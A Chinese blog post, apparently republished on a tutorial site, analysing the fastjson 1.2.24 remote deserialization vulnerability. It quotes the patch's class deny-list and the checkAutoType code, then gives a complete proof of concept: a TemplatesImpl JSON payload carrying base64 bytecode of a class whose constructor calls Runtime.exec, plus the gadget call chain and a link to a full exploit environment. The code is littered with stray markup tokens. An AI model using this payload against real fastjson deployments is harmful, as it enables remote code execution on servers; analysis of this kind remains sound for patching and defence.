Json   发布时间:2022-04-22  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了fastjson 远程反序列化poc的构造和分析大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

fastjson 反序列化 poc 1.2.24

2017.5.3日更新:增加_tfactory为一个空object即{ },使poc在各个jdk版本都起作用。影响版本更新:fastjson-1.2.22到1.2.24区间

背景

fastjson@H_301_8@一个@H_301_8@java@H_301_8@编写的高性能功能非常完善的@H_301_8@JSON@H_301_8@库,应用范围非常广,在@H_301_8@github@H_301_8@上@H_301_8@star@H_301_8@数都超过@H_301_8@8k@H_301_8@,在@H_301_8@2017@H_301_8@年@H_301_8@3@H_301_8@月@H_301_8@15@H_301_8@日,@H_301_8@fastjson@H_301_8@官方主动爆出@H_301_8@fastjson@H_301_8@在@H_301_8@1.2@H_301_8@.@H_301_8@24@H_301_8@及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。关于漏洞的具体详情可参@H_301_8@ https@H_301_8@:@H_301_8@//github.com/alibaba/fastjson/wiki/security_update_20170315@H_301_8@

受影响的版本

fastjson @H_301_8@<=@H_301_8@ @H_301_8@1.2@H_301_8@.@H_301_8@24@H_301_8@

静态分析

根据官方给出的补丁文件,主要的更新在这checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。具体包括

bsh@H_301_8@,@H_301_8@com@H_301_8@.@H_301_8@@H_4_7@mchange@H_301_8@,@H_301_8@com@H_301_8@.@H_301_8@sun@H_301_8@.,@H_301_8@java@H_301_8@.@H_301_8@lang@H_301_8@.@H_301_8@Thread@H_301_8@,@H_301_8@java@H_301_8@.@H_301_8@net@H_301_8@.@H_301_8@Socket@H_301_8@,@H_301_8@java@H_301_8@.@H_301_8@rmi@H_301_8@,@H_301_8@javax@H_301_8@.@H_301_8@xml@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@bcel@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@commons@H_301_8@.@H_301_8@beanutils@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@commons@H_301_8@.@H_301_8@collections@H_301_8@.@H_301_8@Transformer@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@commons@H_301_8@.@H_301_8@collections@H_301_8@.@H_301_8@functors@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@commons@H_301_8@.@H_301_8@collections4@H_301_8@.@H_301_8@comparators@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@commons@H_301_8@.@H_301_8@fileupload@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@@H_4_7@myfaces@H_301_8@.@H_301_8@context@H_301_8@.@H_301_8@servlet@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@tomcat@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@wicket@H_301_8@.@H_301_8@util@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@codehaus@H_301_8@.@H_301_8@groovy@H_301_8@.@H_301_8@runtime@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@hibernate@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@jboss@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@@H_4_7@mozilla@H_301_8@.@H_301_8@javascript@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@python@H_301_8@.@H_301_8@core@H_301_8@,@H_301_8@org@H_301_8@.@H_301_8@springframework@H_301_8@

下面我们来分析checkAutoType的函数实现:

public@H_301_8@ @H_301_8@Class@H_301_8@<?>@H_301_8@ checkAutoType@H_301_8@(@H_301_8@String@H_301_8@ typename@H_301_8@,@H_301_8@ @H_301_8@Class@H_301_8@<?>@H_301_8@ expectClass@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@typename @H_301_8@==@H_301_8@ @H_301_8@null@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@return@H_301_8@ @H_301_8@null@H_301_8@;@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@typename@H_301_8@.@H_301_8@length@H_301_8@()@H_301_8@ @H_301_8@>=@H_301_8@ maxTypenameLength@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@throw@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@JSONException@H_301_8@(@H_301_8@"autoType is not support. "@H_301_8@ @H_301_8@+@H_301_8@ typename@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@final@H_301_8@ @H_301_8@String@H_301_8@ className @H_301_8@=@H_301_8@ typename@H_301_8@.@H_301_8@replace@H_301_8@(@H_301_8@'$'@H_301_8@,@H_301_8@ @H_301_8@'.'@H_301_8@);@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@autoTypeSupport @H_301_8@||@H_301_8@ expectClass @H_301_8@!=@H_301_8@ @H_301_8@null@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@for@H_301_8@ @H_301_8@(@H_301_8@int@H_301_8@ i @H_301_8@=@H_301_8@ @H_301_8@0@H_301_8@;@H_301_8@ i @H_301_8@<@H_301_8@ acceptList@H_301_8@.@H_301_8@length@H_301_8@;@H_301_8@ @H_301_8@++@H_301_8@i@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@String@H_301_8@ accept @H_301_8@=@H_301_8@ acceptList@H_301_8@[@H_301_8@i@H_301_8@];@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@className@H_301_8@.@H_301_8@startsWith@H_301_8@(@H_301_8@accept@H_301_8@))@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@return@H_301_8@ @H_301_8@TypeUtils@H_301_8@.@H_301_8@loadClass@H_301_8@(@H_301_8@typename@H_301_8@,@H_301_8@ defaultClassLoader@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@for@H_301_8@ @H_301_8@(@H_301_8@int@H_301_8@ i @H_301_8@=@H_301_8@ @H_301_8@0@H_301_8@;@H_301_8@ i @H_301_8@<@H_301_8@ denyList@H_301_8@.@H_301_8@length@H_301_8@;@H_301_8@ @H_301_8@++@H_301_8@i@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@String@H_301_8@ deny @H_301_8@=@H_301_8@ denyList@H_301_8@[@H_301_8@i@H_301_8@];@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@className@H_301_8@.@H_301_8@startsWith@H_301_8@(@H_301_8@deny@H_301_8@))@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@throw@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@JSONException@H_301_8@(@H_301_8@"autoType is not support. "@H_301_8@ @H_301_8@+@H_301_8@ typename@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@Class@H_301_8@<?>@H_301_8@ clazz @H_301_8@=@H_301_8@ @H_301_8@TypeUtils@H_301_8@.@H_301_8@getClassFromMapping@H_301_8@(@H_301_8@typename@H_301_8@);@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@clazz @H_301_8@==@H_301_8@ @H_301_8@null@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ clazz @H_301_8@=@H_301_8@ deserializers@H_301_8@.@H_301_8@findClass@H_301_8@(@H_301_8@typename@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@clazz @H_301_8@!=@H_301_8@ @H_301_8@null@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@expectClass @H_301_8@!=@H_301_8@ @H_301_8@null@H_301_8@ @H_301_8@&&@H_301_8@ @H_301_8@!@H_301_8@expectClass@H_301_8@.@H_301_8@isAssignableFrom@H_301_8@(@H_301_8@clazz@H_301_8@))@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@throw@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@JSONException@H_301_8@(@H_301_8@"type not match. "@H_301_8@ @H_301_8@+@H_301_8@ typename @H_301_8@+@H_301_8@ @H_301_8@" -> "@H_301_8@ @H_301_8@+@H_301_8@ expectClass@H_301_8@.@H_301_8@getName@H_301_8@());@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@return@H_301_8@ clazz@H_301_8@;@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@

核心部分就是denyList的处理过程,遍历denyList,如果引入的库以denyList中某个deny打头,就会抛出异常,中断运行。

poc构造

通过静态分析得知,要构造一个可用的poc,肯定得引入denyList的库。下面是一个poc的代码

import@H_301_8@ com@H_301_8@.@H_301_8@sun@H_301_8@.@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@xalan@H_301_8@.@H_301_8@internal@H_301_8@.@H_301_8@xsltc@H_301_8@.@H_301_8@DOM@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@sun@H_301_8@.@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@xalan@H_301_8@.@H_301_8@internal@H_301_8@.@H_301_8@xsltc@H_301_8@.@H_301_8@TransletException@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@sun@H_301_8@.@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@xalan@H_301_8@.@H_301_8@internal@H_301_8@.@H_301_8@xsltc@H_301_8@.@H_301_8@runtime@H_301_8@.@H_301_8@AbstractTranslet@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@sun@H_301_8@.@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@xml@H_301_8@.@H_301_8@internal@H_301_8@.@H_301_8@dtm@H_301_8@.@H_301_8@DTMAxisIterator@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@sun@H_301_8@.@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@xml@H_301_8@.@H_301_8@internal@H_301_8@.@H_301_8@serializer@H_301_8@.@H_301_8@serializationHandler@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ java@H_301_8@.@H_301_8@io@H_301_8@.@H_301_8@IOException@H_301_8@;@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@class@H_301_8@ @H_301_8@Test@H_301_8@ @H_301_8@extends@H_301_8@ @H_301_8@AbstractTranslet@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@Test@H_301_8@()@H_301_8@ @H_301_8@throws@H_301_8@ @H_301_8@IOException@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@Runtime@H_301_8@.@H_301_8@getRuntime@H_301_8@().@H_301_8@exec@H_301_8@(@H_301_8@"calc"@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@@Override@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@void@H_301_8@ transform@H_301_8@(@H_301_8@DOM document@H_301_8@,@H_301_8@ @H_301_8@DTMAxisIterator@H_301_8@ iterator@H_301_8@,@H_301_8@ @H_301_8@serializationHandler@H_301_8@ handler@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@@Override@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@void@H_301_8@ transform@H_301_8@(@H_301_8@DOM document@H_301_8@,@H_301_8@ com@H_301_8@.@H_301_8@sun@H_301_8@.@H_301_8@org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@xml@H_301_8@.@H_301_8@internal@H_301_8@.@H_301_8@serializer@H_301_8@.@H_301_8@serializationHandler@H_301_8@[]@H_301_8@ handlers@H_301_8@)@H_301_8@ @H_301_8@throws@H_301_8@ @H_301_8@TransletException@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@static@H_301_8@ @H_301_8@void@H_301_8@ main@H_301_8@(@H_301_8@String@H_301_8@[]@H_301_8@ args@H_301_8@)@H_301_8@ @H_301_8@throws@H_301_8@ @H_301_8@Exception@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@Test@H_301_8@ t @H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@Test@H_301_8@();@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@

这个是Test.java的实现,在Test.java的构造函数中执行了一条命令,弹出计算器。接着分析poc

package@H_301_8@ com@H_301_8@.@H_301_8@alibaba@H_301_8@.@H_301_8@json@H_301_8@.@H_301_8@bvt@H_301_8@.@H_301_8@parser@H_301_8@.@H_301_8@deser@H_301_8@.@H_301_8@deny@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@alibaba@H_301_8@.@H_301_8@fastjson@H_301_8@.@H_301_8@parser@H_301_8@.@H_301_8@Feature@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@commons@H_301_8@.@H_301_8@codec@H_301_8@.@H_301_8@binary@H_301_8@.@H_301_8@Base64@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ org@H_301_8@.@H_301_8@apache@H_301_8@.@H_301_8@commons@H_301_8@.@H_301_8@io@H_301_8@.@H_301_8@IoUtils@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ org@H_301_8@.@H_301_8@junit@H_301_8@.@H_301_8@Assert@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@alibaba@H_301_8@.@H_301_8@fastjson@H_301_8@.@H_301_8@JSON@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@alibaba@H_301_8@.@H_301_8@fastjson@H_301_8@.@H_301_8@JSONException@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@alibaba@H_301_8@.@H_301_8@fastjson@H_301_8@.@H_301_8@parser@H_301_8@.@H_301_8@ParserConfig@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ com@H_301_8@.@H_301_8@alibaba@H_301_8@.@H_301_8@json@H_301_8@.@H_301_8@bvtVO@H_301_8@.@H_301_8@deny@H_301_8@.@H_301_8@A@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ junit@H_301_8@.@H_301_8@framework@H_301_8@.@H_301_8@TESTCase@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ java@H_301_8@.@H_301_8@io@H_301_8@.@H_301_8@ByteArrayOutputStream@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ java@H_301_8@.@H_301_8@io@H_301_8@.@H_301_8@File@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ java@H_301_8@.@H_301_8@io@H_301_8@.@H_301_8@FileInputStream@H_301_8@;@H_301_8@ @H_301_8@import@H_301_8@ java@H_301_8@.@H_301_8@io@H_301_8@.@H_301_8@IOException@H_301_8@;@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@class@H_301_8@ @H_301_8@DenyTest@H_301_8@ @H_301_8@extends@H_301_8@ @H_301_8@TESTCase@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@//ParserConfig config = new ParserConfig();@H_301_8@ @H_301_8@//config.setAutoTypeSupport(true);@H_301_8@ @H_301_8@//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@static@H_301_8@ @H_301_8@String@H_301_8@ readClass@H_301_8@(@H_301_8@String@H_301_8@ cls@H_301_8@){@H_301_8@ @H_301_8@ByteArrayOutputStream@H_301_8@ bos @H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@ByteArrayOutputStream@H_301_8@();@H_301_8@ @H_301_8@try@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@IoUtils@H_301_8@.@H_301_8@copy@H_301_8@(@H_301_8@new@H_301_8@ @H_301_8@FileInputStream@H_301_8@(@H_301_8@new@H_301_8@ @H_301_8@File@H_301_8@(@H_301_8@cls@H_301_8@)),@H_301_8@ bos@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@catch@H_301_8@ @H_301_8@(@H_301_8@IOException@H_301_8@ e@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ e@H_301_8@.@H_301_8@printStackTrace@H_301_8@();@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@return@H_301_8@ @H_301_8@Base64@H_301_8@.@H_301_8@encodeBase64String@H_301_8@(@H_301_8@bos@H_301_8@.@H_301_8@toByteArray@H_301_8@());@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@void@H_301_8@ test_0@H_301_8@()@H_301_8@ @H_301_8@throws@H_301_8@ @H_301_8@Exception@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@final@H_301_8@ @H_301_8@String@H_301_8@ NASTY_CLASS @H_301_8@=@H_301_8@ @H_301_8@" com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"@H_301_8@;@H_301_8@ @H_301_8@String@H_301_8@ evilCode @H_301_8@=@H_301_8@ readClass@H_301_8@(@H_301_8@"Test.class"@H_301_8@);@H_301_8@ @H_301_8@String@H_301_8@ text1 @H_301_8@=@H_301_8@ @H_301_8@"{\"@type\":\""@H_301_8@ @H_301_8@+@H_301_8@ NASTY_CLASS @H_301_8@+@H_301_8@ @H_301_8@"\",\"_bytecodes\":[\""@H_301_8@+@H_301_8@evilCode@H_301_8@+@H_301_8@"\"],'_name':'a.b',\"_outputProperties\":{ },"@H_301_8@ @H_301_8@+@H_301_8@ @H_301_8@"\"_name\":\"a\",\"_tfactory\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\",\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"@H_301_8@;@H_301_8@ @H_301_8@System@H_301_8@.@H_301_8@out@H_301_8@.@H_301_8@println@H_301_8@(@H_301_8@text1@H_301_8@);@H_301_8@ @H_301_8@Object@H_301_8@ obj @H_301_8@=@H_301_8@ JSON@H_301_8@.@H_301_8@parSEObject@H_301_8@(@H_301_8@text1@H_301_8@,@H_301_8@ @H_301_8@Object@H_301_8@.@H_301_8@class@H_301_8@,@H_301_8@ config@H_301_8@,@H_301_8@ @H_301_8@Feature@H_301_8@.@H_301_8@SupportNonPublicField@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@

在这个poc中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,所以在parSEObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,只能依赖于jdk的实现,幸好在1.7.0_05版本中还没有在getTransleTinstance()用到_tfactory属性,jdk1.8肯定是不可以的。于是我们的poc才能跑起来,最后我们看下@L_749_1058@链:

 @H_301_8@public@H_301_8@ @H_301_8@synchronized@H_301_8@ @H_301_8@Properties@H_301_8@ getOutputProperties@H_301_8@()@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@try@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@return@H_301_8@ newTransformer@H_301_8@().@H_301_8@getOutputProperties@H_301_8@();@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@catch@H_301_8@ @H_301_8@(@H_301_8@TransformerConfigurationException@H_301_8@ e@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@return@H_301_8@ @H_301_8@null@H_301_8@;@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@
 @H_301_8@public@H_301_8@ @H_301_8@synchronized@H_301_8@ @H_301_8@Transformer@H_301_8@ newTransformer@H_301_8@()@H_301_8@ @H_301_8@throws@H_301_8@ @H_301_8@TransformerConfigurationException@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@TransformerImpl@H_301_8@ transformer@H_301_8@;@H_301_8@ transformer @H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@TransformerImpl@H_301_8@(@H_301_8@getTransleTinstance@H_301_8@(),@H_301_8@ _outputProperties@H_301_8@,@H_301_8@ _indentnumber@H_301_8@,@H_301_8@ _tfactory@H_301_8@);@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@_uriResolver @H_301_8@!=@H_301_8@ @H_301_8@null@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ transformer@H_301_8@.@H_301_8@setURIResolver@H_301_8@(@H_301_8@_uriResolver@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@_tfactory@H_301_8@.@H_301_8@getFeature@H_301_8@(@H_301_8@XMLConstants@H_301_8@.@H_301_8@FEATURE_SECURE_PROCESSING@H_301_8@))@H_301_8@ @H_301_8@{@H_301_8@ transformer@H_301_8@.@H_301_8@setSecureProcessing@H_301_8@(@H_301_8@true@H_301_8@);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@return@H_301_8@ transformer@H_301_8@;@H_301_8@ @H_301_8@}@H_301_8@
private@H_301_8@ @H_301_8@void@H_301_8@ defineTransletClasses@H_301_8@()@H_301_8@ @H_301_8@throws@H_301_8@ @H_301_8@TransformerConfigurationException@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@_bytecodes @H_301_8@==@H_301_8@ @H_301_8@null@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@ErrorMsg@H_301_8@ err @H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@ErrorMsg@H_301_8@(@H_301_8@ErrorMsg@H_301_8@.@H_301_8@NO_TRANSLET_CLASS_ERR@H_301_8@);@H_301_8@ @H_301_8@throw@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@TransformerConfigurationException@H_301_8@(@H_301_8@err@H_301_8@.@H_301_8@toString@H_301_8@());@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@TransletClassLoader@H_301_8@ loader @H_301_8@=@H_301_8@ @H_301_8@(@H_301_8@TransletClassLoader@H_301_8@)@H_301_8@ @H_301_8@AccessController@H_301_8@.@H_301_8@doprivileged@H_301_8@(@H_301_8@new@H_301_8@ @H_301_8@PrivilegedAction@H_301_8@()@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@public@H_301_8@ @H_301_8@Object@H_301_8@ run@H_301_8@()@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@return@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@TransletClassLoader@H_301_8@(@H_301_8@ObjectFactory@H_301_8@.@H_301_8@findClassLoader@H_301_8@());@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@});@H_301_8@ @H_301_8@try@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@final@H_301_8@ @H_301_8@int@H_301_8@ classCount @H_301_8@=@H_301_8@ _bytecodes@H_301_8@.@H_301_8@length@H_301_8@;@H_301_8@ _class @H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@Class@H_301_8@[@H_301_8@classCount@H_301_8@];@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@classCount @H_301_8@>@H_301_8@ @H_301_8@1@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ _auxClasses @H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@Hashtable@H_301_8@();@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@for@H_301_8@ @H_301_8@(@H_301_8@int@H_301_8@ i @H_301_8@=@H_301_8@ @H_301_8@0@H_301_8@;@H_301_8@ i @H_301_8@<@H_301_8@ classCount@H_301_8@;@H_301_8@ i@H_301_8@++)@H_301_8@ @H_301_8@{@H_301_8@ _class@H_301_8@[@H_301_8@i@H_301_8@]@H_301_8@ @H_301_8@=@H_301_8@ loader@H_301_8@.@H_301_8@defineClass@H_301_8@(@H_301_8@_bytecodes@H_301_8@[@H_301_8@i@H_301_8@]);@H_301_8@ @H_301_8@final@H_301_8@ @H_301_8@Class@H_301_8@ superClass @H_301_8@=@H_301_8@ _class@H_301_8@[@H_301_8@i@H_301_8@].@H_301_8@getSuperclass@H_301_8@();@H_301_8@ @H_301_8@// check if this is the main class@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@superClass@H_301_8@.@H_301_8@getName@H_301_8@().@H_301_8@equals@H_301_8@(@H_301_8@ABSTRACT_TRANSLET@H_301_8@))@H_301_8@ @H_301_8@{@H_301_8@ _transleTindex @H_301_8@=@H_301_8@ i@H_301_8@;@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@else@H_301_8@ @H_301_8@{@H_301_8@ _auxClasses@H_301_8@.@H_301_8@put@H_301_8@(@H_301_8@_class@H_301_8@[@H_301_8@i@H_301_8@].@H_301_8@getName@H_301_8@(),@H_301_8@ _class@H_301_8@[@H_301_8@i@H_301_8@]);@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@if@H_301_8@ @H_301_8@(@H_301_8@_transleTindex @H_301_8@<@H_301_8@ @H_301_8@0@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@ErrorMsg@H_301_8@ err@H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@ErrorMsg@H_301_8@(@H_301_8@ErrorMsg@H_301_8@.@H_301_8@NO_MAIN_TRANSLET_ERR@H_301_8@,@H_301_8@ _name@H_301_8@);@H_301_8@ @H_301_8@throw@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@TransformerConfigurationException@H_301_8@(@H_301_8@err@H_301_8@.@H_301_8@toString@H_301_8@());@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@catch@H_301_8@ @H_301_8@(@H_301_8@ClassFormatError@H_301_8@ e@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@ErrorMsg@H_301_8@ err @H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@ErrorMsg@H_301_8@(@H_301_8@ErrorMsg@H_301_8@.@H_301_8@TRANSLET_CLASS_ERR@H_301_8@,@H_301_8@ _name@H_301_8@);@H_301_8@ @H_301_8@throw@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@TransformerConfigurationException@H_301_8@(@H_301_8@err@H_301_8@.@H_301_8@toString@H_301_8@());@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@catch@H_301_8@ @H_301_8@(@H_301_8@LinkageError@H_301_8@ e@H_301_8@)@H_301_8@ @H_301_8@{@H_301_8@ @H_301_8@ErrorMsg@H_301_8@ err @H_301_8@=@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@ErrorMsg@H_301_8@(@H_301_8@ErrorMsg@H_301_8@.@H_301_8@TRANSLET_OBjeCT_ERR@H_301_8@,@H_301_8@ _name@H_301_8@);@H_301_8@ @H_301_8@throw@H_301_8@ @H_301_8@new@H_301_8@ @H_301_8@TransformerConfigurationException@H_301_8@(@H_301_8@err@H_301_8@.@H_301_8@toString@H_301_8@());@H_301_8@ @H_301_8@}@H_301_8@ @H_301_8@}@H_301_8@

在getTransleTinstance@L_749_1058@defineTransletClasses,在defineTransletClasses方法中会根据_bytecodes来生成一个java类生成java类随后会被getTransleTinstance方法用到生成一个实例,也也就到了最终的执行命令的位置Runtime.getRuntime.exec()下面我们上一张@L_749_1058@链的图,@L_749_1058@链,简单来说就是

JSON.parSEObject…JavaBeanDeserializer.deserialze…FieldDeserializer.SETVALue…TemplatesImpl.getOutputPropertiestemplatesImpl.newTransformerTemplatesImpl.getTransleTinstance…Runtime.getRuntime().exec附上一张成功执行图:运行成功

5 总结poc影响jdk 1.7,1.8版本,1.6未测试,但是需要在parSEObject的时候设置Feature.SupportNonPublicField,告诉个不幸的消息,该字段在fastjson1.2.22版本引入,这么一说的话就是poc只能在1.2.22和1.2.24版本区间起作用。最后给大家上个福利,github地址:完整的Intellij IDEA poc环境:https://github.com/shengqi158/fastjson-remote-code-execute-poc

本文地址:http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/

4 回复@H_301_8@
@H_301_8@@H_301_8@ @H_301_8@
@H_817_3015@ @H_278_3016@

这个漏洞poc挺有趣的,原本的poc貌似还不是这个啊,不过两个poc都有相关依赖啊,扯平了。

大佬总结

以上是大佬教程为你收集整理的fastjson 远程反序列化poc的构造和分析全部内容,希望文章能够帮你解决fastjson 远程反序列化poc的构造和分析所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
